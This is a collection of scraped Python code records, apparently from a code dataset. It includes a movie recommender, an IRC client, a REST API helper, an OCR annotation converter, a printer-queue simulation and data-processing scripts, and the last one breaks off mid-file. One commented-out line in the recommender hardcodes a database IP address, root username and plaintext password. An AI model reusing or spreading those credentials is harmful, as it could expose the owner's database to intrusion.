key2[1]\n if sum_xy == 0.0:\n return 0\n demo = math.sqrt(sum_x * sum_y)\n return sum_xy / demo\n\n\n# 读取文件,读取以行为单位,每一行是列表里的一个元素\ndef readFile(filename):\n contents = []\n f = open(filename, \"r\")\n contents = f.readlines()\n f.close()\n return contents\n\n\n# 数据格式化为二维数组\ndef getRatingInfo(ratings):\n rates = []\n for line in ratings:\n rate = line.split(\"\\t\")\n rates.append([int(rate[0]), int(rate[1]), int(rate[2])])\n return rates\n\n\n# 生成用户评分数据结构\ndef getUserScoreDataStructure(rates):\n # userDict[2]=[(1,5),(4,2)].... 表示用户2对电影1的评分是5,对电影4的评分是2\n userDict = {}\n itemUser = {}\n for k in rates:\n user_rank = (k[1], k[2])\n if k[0] in userDict:\n userDict[k[0]].append(user_rank)\n else:\n userDict[k[0]] = [user_rank]\n\n if k[1] in itemUser:\n itemUser[k[1]].append(k[0])\n else:\n itemUser[k[1]] = [k[0]]\n return userDict, itemUser\n\n\n# 计算与指定用户最相近的邻居\ndef getNearestNeighbor(userId, userDict, itemUser):\n neighbors = []\n for item in userDict[userId]:\n for neighbor in itemUser[item[0]]:\n if neighbor != userId and neighbor not in neighbors:\n neighbors.append(neighbor)\n neighbors_dist = []\n for neighbor in neighbors:\n dist = getCosDist(userDict[userId], userDict[neighbor])\n neighbors_dist.append([dist, neighbor])\n neighbors_dist.sort(reverse=True)\n return neighbors_dist\n\n\n# 使用UserFC进行推荐,输入:文件名,用户ID,邻居数量\ndef recommendByUserFC(filename, userId, k=5):\n # 读取文件\n contents = readFile(filename)\n\n # 文件格式数据转化为二维数组\n rates = getRatingInfo(contents)\n\n # 格式化成字典数据\n userDict, itemUser = getUserScoreDataStructure(rates)\n\n # 找邻居\n neighbors = getNearestNeighbor(userId, userDict, itemUser)[:5]\n\n # 建立推荐字典\n recommand_dict = {}\n for neighbor in neighbors:\n neighbor_user_id = neighbor[1]\n movies = userDict[neighbor_user_id]\n for movie in movies:\n if movie[0] not in recommand_dict:\n recommand_dict[movie[0]] = neighbor[0]\n else:\n recommand_dict[movie[0]] += neighbor[0]\n\n # 建立推荐列表\n recommand_list = []\n for key in recommand_dict:\n recommand_list.append([recommand_dict[key], key])\n recommand_list.sort(reverse=True)\n user_movies = [k[0] for k in userDict[userId]]\n return [k[1] for k in recommand_list], user_movies, itemUser, neighbors\n\n\n# 获取电影的列表\ndef getMovieList(filename):\n contents = readFile(filename)\n movies_info = {}\n for movie in contents:\n single_info = movie.split(\"|\")\n movies_info[int(single_info[0])] = single_info[1:]\n return movies_info\n\n\n# 从这里开始运行\nif __name__ == '__main__':\n\n # db = pymysql.connect(host = \"140.143.32.158\", port =3306,user = \"root\", passwd = \"167719\", db =\"django\")\n # insert_sql = \"insert into recommend_goods_info (username,goods_id,recommend_index,recommend_time) values (%s,%s,%s,%s)\" % (\"username\", \"1017272414\", 0.1710797845536603, \"2018-06-21\")\n #\n #\n # print(insert_sql)\n # # 使用 cursor() 方法创建一个游标对象 cursor\n # cursor = db.cursor()\n #\n # # 使用 execute() 方法执行 SQL 查询\n # cursor.execute(insert_sql)\n # db.commit()\n # # 关闭数据库连接\n # db.close()\n # dict = {\"abc\":\"123\"}\n # print (dict.get(\"sdfsa\"))\n string = b'\\xe5\\x8d\\x8a\\xe8\\xa2\\x96 \\xe5\\xb0\\x91\\xe7\\x88\\xb7'\n if re.search(r'\\\\x',str(string)).group() is not None:\n print (string.decode('utf-8'))\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"357753224","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 23 07:24:49 2017\n\n@author: gokul\n\nimport os\nos.chdir('/media/gokul/Academic/!.Events/Code Fest IIT BHU 17/Enigma')\nos.getcwd()\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\ntrain_data = pd.read_csv('train_data.csv')[1:100]\ntest_data = pd.read_csv('test_data.csv')\nX_train = train_data.loc[:, train_data.columns != 'attempts_range']\ny_train = train_data['attempts_range']\nX_test = test_data[:]\ntest_ID = pd.read_csv('test_submissions.csv')['ID']\n\n\n#Coverting country to sparse\nfrom sklearn.preprocessing import LabelBinarizer\nlb = LabelBinarizer()\n\nlb_results_train = lb.fit_transform(X_train.loc[:, 'country'] )\nX_train2 = pd.concat([X_train, pd.DataFrame(lb_results_train, columns=lb.classes_)], axis=1)\nX_train2 = X_train2.drop('country',axis=1)\n\nlb_results_test = lb.transform(X_test.loc[:, 'country'] )\nX_test2 = pd.concat([X_test, pd.DataFrame(lb_results_test, columns=lb.classes_)], axis=1)\nX_test2 = X_test2.drop('country',axis=1)\n\n\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\n\n# Feature Scaling 1 : scaling without 'country'\nX_train_scaled = sc.fit_transform(X_train.loc[:, X_train.columns != 'country'])\nX_test_scaled = sc.transform(X_test.loc[:, X_test.columns != 'country'])\n\n# Feature Scaling 2 : scaling with 'country'\nX_train2_scaled = sc.fit_transform(X_train2.loc[:])\nX_test2_scaled = sc.transform(X_test2.loc[:])\n\n#Witoud scaling\nX_train3 = X_train.loc[:, X_train.columns != 'country'] \nX_test3 = X_test.loc[:, X_test.columns != 'country'] \n\n\n#writing file\n#pd.DataFrame(X_train_scaled).to_csv('train_data_scaled.csv')\n#pd.DataFrame(X_test_scaled).to_csv('test_data_scaled.csv')\n#\n##Reading files\n#X_train_scaled = pd.read_csv('train_data_scaled.csv')\n#X_test_scaled = pd.read_csv('test_data_scaled.csv')\n#y_train = pd.read_csv('train_data.csv')['attempts_range']\n#test_ID = pd.read_csv('test_submissions.csv')['ID']\n\n# 1.1 Random Forests- (BEST) with 50 e and r0; without country\n# Fitting Random Forest Classification; Attributes : Except country; Scaled: yes\nfrom sklearn.ensemble import RandomForestClassifier\nclassifier = RandomForestClassifier(n_estimators = 100, criterion = 'entropy', random_state =0, n_jobs=-1)\nclassifier.fit(X_train2_scaled, y_train)\n# Predicting the Test set results\ny_pred = classifier.predict(X_test2_scaled)\n\n\n#Creating the output file\noutput = pd.DataFrame(test_ID)\noutput['attempts_range'] = y_pred\noutput.to_csv('test_predictions.csv')\n\n\n","sub_path":"Enigma - IIT BHU/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":2537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"151527519","text":"import socket\nimport ssl\nimport time\nimport threading\n\n\nclass IrcBewt():\n\n def __init__(self, server, port, use_ssl, cmd_prefix, nickname, altnickname, user, realname, channels, quitmsg, callback):\n self.server = server\n self.port = port\n self.use_ssl = True if use_ssl == 'True' else False\n self.nickname = nickname\n self.altnickname = altnickname\n self.user = user\n self.realname = realname\n self.channels = channels\n self.quitmsg = quitmsg\n self.callback = callback\n\n self.cmd_prefix = f':{cmd_prefix}'\n self.thread_is_started = False\n self.lastrecv = int(time.time())\n\n def connect(self):\n self.socket = socket.socket()\n try:\n self.socket.connect((self.server, self.port))\n if self.use_ssl:\n self.socket = ssl.wrap_socket(self.socket)\n except (OSError, TimeoutError, socket.herror, socket.gaierror) as e:\n print(f'[!] {self.server}:{self.port} (ssl:{str(self.use_ssl)}) - FAILED: {e}')\n else:\n print(f'[+] Connected to {self.server}:{self.port}')\n self.lastrecv = int(time.time())\n self.send(f'NICK {self.nickname}')\n self.send(f'USER {self.user} 0 * :{self.realname}')\n\n if not self.thread_is_started:\n threading.Thread(target=self._check_lastrecv, daemon=True).start()\n self.thread_is_started = True\n\n def disconnect(self):\n if self.socket:\n self.send(f'QUIT :{self.quitmsg}')\n self.socket.shutdown(2)\n\n def die(self):\n if self.socket:\n self.socket.close()\n self.socket = None\n\n def main(self):\n buff = b''\n \n while self.socket is not None:\n buff += self.socket.recv(1024)\n\n while b'\\r\\n' in buff:\n line, buff = buff.split(b'\\r\\n', 1)\n\n self.lastrecv = int(time.time())\n \n try:\n line = line.decode('utf-8')\n except UnicodeDecodeError:\n line = line.decode('iso-8859-1')\n\n print(f'<== {line}')\n\n split = line.split(' ')\n\n if split[0] == 'PING':\n self.send(f\"PONG {split[1].split(':')[1]}\")\n\n if split[1] == '376' or split[1] == '422':\n for c in self.channels:\n self.send(f'JOIN {c}')\n \n if split[1] == '433':\n self.send(f'NICK {self.altnickname}')\n\n if split[1] == 'PRIVMSG':\n if split[2] != self.nickname:\n channel = split[2]\n if len(split) >= 5 and split[3] == self.cmd_prefix:\n threading.Thread(target=self.callback, args=(channel, split[3:]), daemon=True).start()\n\n def _check_lastrecv(self, sleeptime=30):\n while True:\n time_ago = int(time.time()) - self.lastrecv\n if time_ago > 360:\n print(f'[!] last recv was {time_ago} seconds ago. lets try to reconnect..')\n self.lastrecv = int(time.time())\n self.die()\n self.connect()\n\n time.sleep(sleeptime)\n\n def send(self, data):\n try:\n self.socket.send(data.encode('utf-8') + b'\\r\\n')\n print(f'==> {data}')\n except (OSError, socket.herror, socket.gaierror) as e:\n print(f'[FAIL] ==> {repr(e)} - {e} - {data}')","sub_path":"resources/ircbewt.py","file_name":"ircbewt.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"625549608","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\n\ntry:\n thisdir = os.path.dirname(os.path.abspath(__file__))\n sys.path.append(os.path.join(thisdir, '..'))\nexcept:\n sys.path.append('..')\n\nfrom bun import UI, inform, warn, alert, alert_fatal\n\n# Initialize Bun ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nui = UI('demo', 'A demonstration of Bun')\nui.start()\n\n# Demo some Bun functions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\ninform('This is an informational message')\nwarn('This is a warning')\nalert('This is an alert')\nalert_fatal('This is a fatal alert')\n\n# Say goodbye ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\ninform('Done')\n","sub_path":"demos/cli_demo.py","file_name":"cli_demo.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"462475455","text":"import sys\nimport DataCollectTool.run as run\nfrom PyQt5.QtWidgets import QDialog, QApplication\n\n\ndef main(args=None):\n if args is None:\n args = sys.argv[1:]\n\n app = QApplication(sys.argv)\n w = run.MyForm()\n w.show()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"DataCollectTool/build/lib/DataCollectTool/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"651712953","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 4 00:39:24 2021\n\n@author: Philippe\n\"\"\"\nfrom typing import List\n\nclass Course:\n def __init__(self, id, courseName, teacher, meetingTime):\n self._id = id\n self._courseName = courseName\n self._teacher = teacher\n self._meetingTime = meetingTime\n \n\nSubject = List[Course]\n \n ","sub_path":"genetic_algorithm.py","file_name":"genetic_algorithm.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"192618923","text":"'''\n * * Copyright (c) Microsoft Corporation. All rights reserved. Licensed under the MIT license.\n * * See LICENSE in the project root for license information.\n'''\n\nimport re\nimport json\nimport requests\nimport constant\n\nclass HttpRequestFailed(Exception):\n def __init__(self, request, response):\n self._request = request\n self._response = response\n\n @property\n def response(self):\n return self._request\n\n @property\n def response(self):\n return self._response\n\nclass RestApiService(object):\n\n def get_raw(self, url, token, headers=None):\n method = 'GET'\n s_headers = {}\n self._set_header_token(s_headers, token)\n if headers:\n s_headers.update(headers)\n response = self._send(method, url, s_headers)\n return response.text\n\n def get_json(self, url, token, headers=None):\n method = 'GET'\n s_headers = {'Accept': 'application/json',\n 'Content-Type': 'application/json'}\n self._set_header_token(s_headers, token)\n if headers:\n s_headers.update(headers)\n response = self._send(method, url, s_headers)\n return json.loads(response.text)\n\n def get_img(self, url, token, headers=None):\n method = 'GET'\n s_headers = {'content-type': 'image/jpeg'}\n self._set_header_token(s_headers, token)\n if headers:\n s_headers.update(headers)\n response = self._send(method, url, s_headers)\n return response.content\n\n def get_object_list(self, url, token, key='value', headers=None, model=None, next_key=''):\n content = self.get_json(url, token, headers)\n entity_list = []\n next_link = ''\n if content and model:\n value_list = content[key]\n for value in value_list:\n entity = model(value)\n entity_list.append(entity)\n if next_key:\n next_link = content.get(next_key, '')\n if next_key:\n return entity_list, next_link\n else:\n return entity_list\n\n def get_object(self, url, token, headers=None, model=None):\n content = self.get_raw(url, token, headers)\n if content and model:\n value = json.loads(content)\n return model(value)\n return None\n\n def delete(self, url, token, headers=None):\n method = 'DELETE'\n s_headers = {'Accept': 'application/json',\n 'Content-Type': 'application/json'}\n self._set_header_token(s_headers, token)\n if headers:\n s_headers.update(headers)\n self._send(method, url, s_headers)\n\n def post_json(self, url, token, headers=None, data=None):\n method = 'POST'\n s_headers = {'Accept': 'application/json',\n 'Content-Type': 'application/json'}\n self._set_header_token(s_headers, token)\n if headers:\n s_headers.update(headers)\n return self._send(method, url, s_headers, json.dumps(data))\n\n def put_file(self, url, token, file=None): \n s_headers = {'Content-Type': 'application/octet-stream'} \n self._set_header_token(s_headers, token)\n method = 'PUT'\n return json.loads(self._send(method, url, s_headers,file.chunks()).text)\n\n def _set_header_token(self, headers, token):\n key = 'Authorization'\n value = 'Bearer {0}'.format(token)\n headers[key] = value\n\n def _send(self, method, url, headers, data=None):\n session = requests.Session()\n request = requests.Request(method, url, headers, data=data)\n prepped = request.prepare()\n response = session.send(prepped)\n if response.status_code < 200 or response.status_code > 299:\n raise HttpRequestFailed(request, response)\n return response\n ","sub_path":"services/rest_api_service.py","file_name":"rest_api_service.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"290895336","text":"def isLanjutkan(start, halaman):\n mulai = True\n\n while mulai:\n isLanjutkan = input(\"\\napakah anda ingin kembali? (y/n)\")\n\n if isLanjutkan == \"y\":\n kembali = halaman\n print(kembali)\n elif isLanjutkan == \"n\":\n start = True\n mulai = False\n elif isLanjutkan == \"keluar\":\n exit()\n else:\n print(\"Masukan 'y' / 'n'\")\n print(\"Ketikan 'keluar' jika ingin keluar\")\n input(\"\")\n","sub_path":"latihan/latihan1/Tool/isLanjutkan.py","file_name":"isLanjutkan.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"533466398","text":"# Copyright (c) OpenMMLab. All rights reserved.\nimport argparse\nimport glob\nimport os.path as osp\nfrom functools import partial\nimport sys\nsys.path.append('/workspace/mmocr')\nimport mmcv\nimport numpy as np\nimport ipdb\nfrom shapely.geometry import Polygon\nfrom mmocr.utils import convert_annotations, list_from_file\n\n\ndef collect_files(img_dir):\n \"\"\"Collect all images and their corresponding groundtruth files.\n\n Args:\n img_dir(str): The image directory\n gt_dir(str): The groundtruth directory\n\n Returns:\n files(list): The list of tuples (img_file, groundtruth_file)\n \"\"\"\n assert isinstance(img_dir, str)\n assert img_dir\n # assert isinstance(gt_dir, str)\n # assert gt_dir\n\n # note that we handle png and jpg only. Pls convert others such as gif to\n # jpg or png offline\n suffixes = ['.png', '.PNG', '.jpg', '.JPG', '.jpeg', '.JPEG']\n imgs_list = []\n for suffix in suffixes:\n imgs_list.extend(glob.glob(osp.join(img_dir, '*' + suffix)))\n\n files = []\n for img_file in imgs_list:\n # gt_file = gt_dir + '/gt_' + osp.splitext(\n # osp.basename(img_file))[0] + '.txt'\n files.append(img_file)#, gt_file))\n # assert len(files), f'No images found in {img_dir}'\n # files.append(gt_dir+'train_label.txt')\n print(f'Loaded {len(files)} images from {img_dir}')\n\n return files\n\n\ndef collect_annotations(files, dataset, gt_file, nproc=1):\n \"\"\"Collect the annotation information.\n\n Args:\n files(list): The list of tuples (image_file, groundtruth_file)\n dataset(str): The dataset name, icdar2015 or icdar2017\n nproc(int): The number of process to collect annotations\n\n Returns:\n images(list): The list of image information dicts\n \"\"\"\n assert isinstance(files, list)\n assert isinstance(dataset, str)\n assert dataset\n assert isinstance(nproc, int)\n\n load_img_info_with_dataset = partial(load_img_info, dataset=dataset, gt_file=gt_file)\n if nproc > 1:\n images = mmcv.track_parallel_progress(\n load_img_info_with_dataset, files, nproc=nproc)\n else:\n images = mmcv.track_progress(load_img_info_with_dataset, files)\n\n return images\n\n\ndef load_img_info(files, dataset, gt_file):\n \"\"\"Load the information of one image.\n\n Args:\n files(tuple): The tuple of (img_file, groundtruth_file)\n dataset(str): Dataset name, icdar2015 or icdar2017\n\n Returns:\n img_info(dict): The dict of the img and annotation information\n \"\"\"\n assert isinstance(files, str)\n assert isinstance(dataset, str)\n # assert isinstance(gt_file, str)\n assert dataset\n\n img_file= files\n # read imgs with ignoring orientations\n img = mmcv.imread(img_file, 'unchanged')\n gt_list = gt_file[osp.basename(img_file)]\n # if dataset == 'icdar2017':\n # gt_list = list_from_file(gt_file)\n # elif dataset == 'icdar2015':\n # gt_list = list_from_file(gt_file, encoding='utf-8-sig')\n # else:\n # raise NotImplementedError(f'Not support {dataset}')\n\n anno_info = []\n for line in gt_list:\n # each line is a dict\n # e.g., {'transcription': '演。在一座又一座岛屿上发掘的考古证据,都看到同一出悲剧一再上', 'points': [[438.0, 78.0], [2824.0, 69.0], [2825.0, 219.0], [438.0, 227.0]]}\n # line = line.strip()\n # strs = line.split(',')\n category_id = 1\n xy = [int(x) for point in line['points'] for x in point]\n coordinates = np.array(xy).reshape(-1, 2)\n polygon = Polygon(coordinates)\n iscrowd = 0\n # set iscrowd to 1 to ignore 1.\n # if (dataset == 'icdar2015'\n # and strs[8] == '###') or (dataset == 'icdar2017'\n # and strs[9] == '###'):\n # iscrowd = 1\n # print('ignore text')\n\n area = polygon.area\n # convert to COCO style XYWH format\n min_x, min_y, max_x, max_y = polygon.bounds\n bbox = [min_x, min_y, max_x - min_x, max_y - min_y]\n\n anno = dict(\n iscrowd=iscrowd,\n category_id=category_id,\n bbox=bbox,\n area=area,\n segmentation=[xy])\n anno_info.append(anno)\n split_name = osp.basename(osp.dirname(img_file))\n img_info = dict(\n # remove img_prefix for filename\n file_name=osp.join(split_name, osp.basename(img_file)),\n height=img.shape[0],\n width=img.shape[1],\n anno_info=anno_info,\n segm_file=osp.join(split_name,\"gt_file\"))\n return img_info\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description='Convert Icdar2015 or Icdar2017 annotations to COCO format'\n )\n parser.add_argument('-tianchi_path', help='tianchi root path')\n parser.add_argument('-o', '--out-dir', help='output path')\n parser.add_argument(\n '-d', '--dataset', required=True, help='icdar2017 or icdar2015')\n parser.add_argument(\n '--split-list',\n nargs='+',\n help='a list of splits. e.g., \"--split-list training test\"')\n\n parser.add_argument(\n '--nproc', default=1, type=int, help='number of process')\n args = parser.parse_args()\n return args\n\n\ndef main():\n args = parse_args()\n tianchi_path = args.tianchi_path\n out_dir = args.out_dir if args.out_dir else tianchi_path\n mmcv.mkdir_or_exist(out_dir)\n\n img_dir = osp.join(tianchi_path, 'train')\n gt_dir = osp.join(tianchi_path, \"valid_label.txt\")\n gt_file = {}\n with open(gt_dir, 'r') as f:\n for line in f:\n line = line.split('\\t')\n gt_file.update({line[0]: eval(line[1])})\n # ipdb.set_trace()\n set_name = {}\n for split in args.split_list:\n set_name.update({split: 'instances_' + split + '.json'})\n assert osp.exists(osp.join(tianchi_path))\n\n for split, json_name in set_name.items():\n print(f'Converting {split} into {json_name}')\n with mmcv.Timer(print_tmpl='It takes {}s to convert icdar annotation'):\n # files = collect_files(img_dir)\n files = [osp.join(img_dir, k) for k,_ in gt_file.items()]\n image_infos = collect_annotations(\n files, args.dataset, gt_file, nproc=args.nproc)\n convert_annotations(image_infos, osp.join(out_dir, json_name))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tools/data/textdet/tianchi_converter.py","file_name":"tianchi_converter.py","file_ext":"py","file_size_in_byte":6376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"294003581","text":"import random\nfrom basic.queue import Queue\n\n\nclass Printer(object):\n def __init__(self, ppm):\n self.page_rate = ppm\n self.current_task = None\n self.time_remaining = 0\n\n def tick(self):\n if self.current_task != None:\n self.time_remaining -= 1\n if self.time_remaining <= 0:\n self.current_task = None\n\n def busy(self):\n if self.current_task != None:\n return True\n\n else:\n return False\n\n def start_next(self, next_task):\n self.current_task = next_task\n self.time_remaining = next_task.get_pages() * 60 / self.page_rate\n\n\nclass Task(object):\n def __init__(self, time):\n self.time_stamp = time\n self.pages = random.randrange(1, 21)\n\n def get_stamp(self):\n return self.time_stamp\n\n def get_pages(self):\n return self.pages\n\n def wait_time(self, current_time):\n return current_time - self.time_stamp\n\nc = 0\ndef new_print_task():\n num = random.randrange(1,181)\n if num == 180:\n global c\n c += 1\n # print(c, num, 'num')\n return True\n else:\n return False\n\n\ndef simulation(num_seconds, page_per_minute):\n # 初始化一个打印机每分钟能打多少页, 初始化一个队列。\n lab_printer = Printer(page_per_minute)\n print_queue = Queue()\n wailting_times = []\n\n for current_second in range(num_seconds):\n if new_print_task():\n task = Task(current_second)\n print_queue.en_queue(task)\n # 打印机没任务 和 打印队列不为空\n if (not lab_printer.busy()) and (not print_queue.is_empty()):\n # 获取一个新打印任务\n next_task = print_queue.de_queue()\n # 添加这个任务的等待时间\n wailting_times.append(next_task.wait_time(current_second))\n lab_printer.start_next(next_task)\n\n # 这里模拟处理任务,立刻就完成\n lab_printer.tick()\n average_wait = sum(wailting_times) / len(wailting_times)\n print(\"Average Wait %6.2f secs %3d tasks remaining.\"%(average_wait, print_queue.size()))\n\nfor i in range(10):\n # 10次 的3600)每分钟打印5页\n simulation(3600, 5)\n","sub_path":"printer.py","file_name":"printer.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"572711800","text":"import numpy as np\nimport pandas as pd\nimport json\nimport datetime\nfrom datetime import timedelta\nimport copy\nfrom numpy import NaN\nimport os\nimport matplotlib.pyplot as plt\nimport scipy.stats.stats as stats\n\n# FixFlex = 'flexible'\nFixFlex = 'fixed'\nconti_path = '/Users/daisy/Dropbox/test_different_time_slot/raw_sample/participant_2/'\npath4 = '/Users/daisy/Dropbox/test_different_time_slot/raw_truncated/test/par_2/' + FixFlex + '/'\nsavef = '/Users/daisy/Dropbox/test_different_time_slot/Report_com/test/par_2/' + FixFlex + '/'\npath = savef\n#\n# conti_path = '/Users/daisy/Dropbox/test_different_time_slot/raw_sample/participant_1/'\n# path4 = '/Users/daisy/Dropbox/test_different_time_slot/raw_truncated/test/par_1/' + FixFlex + '/'\n# savef = '/Users/daisy/Dropbox/test_different_time_slot/Report_com/test/par_1/' + FixFlex + '/'\n# path = savef\n\ndef hms_to_seconds(t):\n h, m, s = str(t).split(\":\")\n h = int(h.split(\" \")[2])\n m, s = [int(i) for i in [m, s]]\n return 3600 * h + 60 * m + s\n\n\nfile = os.listdir(conti_path)\nfor i in file:\n if i.endswith('_BI_output.json'):\n with open(conti_path + i) as f:\n rawBI = json.load(f)\nrawBI = pd.DataFrame.from_dict(rawBI)\nTBCal = 'bi'\nrawPartial = rawBI[[TBCal, 'seg_start', 'seg_end']].dropna(how='all')\nrawPartial['seg_end'] = rawPartial['seg_end'].apply(\n lambda dt: datetime.datetime.fromtimestamp(dt))\nrawPartial['seg_start'] = rawPartial['seg_start'].apply(\n lambda dt: datetime.datetime.fromtimestamp(dt))\nrawPartial['Var'] = rawPartial['seg_end'] - rawPartial['seg_start']\nTBlock = []\n\n\n\nFirstT = rawPartial['seg_start'].iloc[0] # next\nremainT = int(str(FirstT.replace(second=0, hour=0)).rsplit(':')[1])\nEndT = rawPartial['seg_end'].iloc[-1]\nEndTR = EndT.replace(second=0, minute=0) + timedelta(minutes=remainT)\nif EndTR < EndT:\n EndTR = EndT + timedelta(minutes=60)\nTimeRng = pd.date_range(start=str(FirstT), end=str(EndTR), freq='1H')\nTIndex = 0\n\nTimeToCompareS = FirstT\nTimeToCompareE = rawPartial['seg_end'].iloc[0]\n# while TimeToCompareE < EndT:\nfor j in TimeRng:\n try:\n while TimeToCompareS < j:\n TBlock.append(j)\n TIndex += 1\n TimeToCompareS = rawPartial['seg_start'].iloc[TIndex]\n TimeToCompareE = rawPartial['seg_end'].iloc[TIndex]\n continue\n except Exception as e:\n print('outside of the loop')\n\nE = list(rawPartial['seg_end'])\nif len(TBlock) > len(E):\n TBlock = TBlock[:-1]\n TBlock[-1] = 'Sep'\n\nfor i in np.arange(0, len(TBlock), 1):\n if TBlock[i] != 'Sep':\n if TBlock[i] < E[i]:\n TBlock[i] = 'Sep'\n\nrawPartial['TBlock'] = TBlock\npd.options.mode.chained_assignment = None\n\n# for TBCal in categories:\ns2 = rawPartial.iloc[1] # could be any value\nfor i in np.arange(0, len(rawPartial), 1):\n if rawPartial.iloc[i, 4] == 'Sep':\n temp = rawPartial.iloc[i, :]\n FHalfT = rawPartial.iloc[i - 1, 4] - rawPartial.iloc[i, 1]\n SHalfT = rawPartial.iloc[i, 2] - rawPartial.iloc[i - 1, 4]\n rawPartial.iloc[i, 2] = rawPartial.iloc[i - 1, 4]\n rawPartial.iloc[i, 3] = FHalfT\n rawPartial.iloc[i, 4] = rawPartial.iloc[i - 1, 4]\n s2[TBCal] = temp[TBCal]\n s2['seg_start'] = rawPartial.iloc[i - 1, 4]\n s2['seg_end'] = temp['seg_end']\n s2['Var'] = SHalfT\n s2['TBlock'] = rawPartial.iloc[i + 1, 4]\n rawPartial = rawPartial.append(s2)\n\nrawPartial = rawPartial.sort_values(by='seg_start').set_index(keys=np.arange(0, len(rawPartial), 1))\n# rawPartial.to_csv('rawPartial_calculated.csv', sep=',')\n\nfor i in np.arange(0, len(rawPartial), 1):\n rawPartial.loc[:, \"Var\"][i] = hms_to_seconds(rawPartial.loc[:, \"Var\"][i])\n\n'''\nThis is a test\n'''\n\nrawPartial['TBlock'][rawPartial['TBlock'] == 'Sep'] = NaN\n\n# for i in np.arange(0, len(TruncatedPartial), 1):\n# if rawPartial['TBlock'].iloc[i] == 'Sep':\n# rawPartial['TBlock'].iloc[i] = NaN\nrawPartial.dropna(subset=['TBlock'])\n\n# rawPartial.to_csv('rawPartial_test1.csv', sep=',')\na = rawPartial.groupby(['TBlock']).sum(axis=1)\n\nw = []\nfor i in sorted(set(a.index)):\n Clu = rawPartial[rawPartial['TBlock'] == i]\n Clu = Clu.dropna(how='any')\n if len(Clu) > 0:\n weighted_mean = sum(Clu[TBCal] * Clu['Var']) / sum(Clu['Var'])\n weig_3 = weighted_mean ** (1.0 / 3)\n w.append(weig_3)\n # print(' Clu not emp')\n else:\n weig_3 = NaN\n # print(' Clu emp')\n w.append(weig_3)\nnewData = copy.deepcopy(a[TBCal]).reset_index()\nnewData[TBCal] = w\n\nfname = savef + TBCal + '_Continuous_hourlyM.csv'\nfname2 = savef + TBCal + '_Continuous_hourlyM.pickle'\nnewData.to_csv(fname, sep=',')\nnewData.to_pickle(fname2)\n\ndel rawBI, rawPartial, newData, fname\n'''\n# This is to generate truncated data\n step1 - get truncated data\n\n step 2 - test function to get truncated BI\n\n # read truncated data\n'''\n\n\nfile = os.listdir(path4)\nfor each_file in file:\n if each_file.endswith('_BI_output.json'):\n with open(path4 + each_file) as f:\n truncated_bi = json.load(f)\n\nTruncatedDF = pd.DataFrame.from_dict(truncated_bi)\n\nTruncatedPartial = TruncatedDF[[TBCal, 'seg_start', 'seg_end']].dropna(how='all')\nTruncatedPartial['seg_end'] = TruncatedPartial['seg_end'].apply(\n lambda dt: datetime.datetime.fromtimestamp(dt))\nTruncatedPartial['seg_start'] = TruncatedPartial['seg_start'].apply(\n lambda dt: datetime.datetime.fromtimestamp(dt))\nTruncatedPartial['Var'] = TruncatedPartial['seg_end'] - TruncatedPartial['seg_start']\n\nFirstT = TruncatedPartial['seg_start'].iloc[0] # next\nEndT = TruncatedPartial['seg_end'].iloc[-1]\n\nprint(FirstT, EndTR)\n\nTimeToCompareS = FirstT\nTimeToCompareE = TruncatedPartial['seg_end'].iloc[0]\nTBlock = []\nTIndex = 0\n\nfor j in TimeRng:\n try:\n while TimeToCompareS < j:\n TBlock.append(j)\n TIndex += 1\n TimeToCompareS = TruncatedPartial['seg_start'].iloc[TIndex]\n TimeToCompareE = TruncatedPartial['seg_end'].iloc[TIndex]\n continue\n except Exception as e:\n print('outside of the loop')\n\nE = list(TruncatedPartial['seg_end'])\nif len(TBlock) != len(E):\n\n # print('last time peirod: start', TruncatedPartial['seg_start'].iloc[-1])\n # print('last time peirod: end', TruncatedPartial['seg_end'].iloc[-1])\n if len(TBlock) > len(E):\n print('check')\n for i in np.arange(0, len(TBlock) - 1, 1):\n if TBlock[i] < E[i]:\n TBlock[i] = 'Sep'\n TBlock = TBlock[:(len(TBlock) - 1)]\n elif len(TBlock) == len(E):\n for i in np.arange(0, len(TBlock), 1):\n if TBlock[i] < E[i]:\n TBlock[i] = 'Sep'\n else:\n print('error')\n\nTruncatedPartial['TBlock'] = TBlock\n# 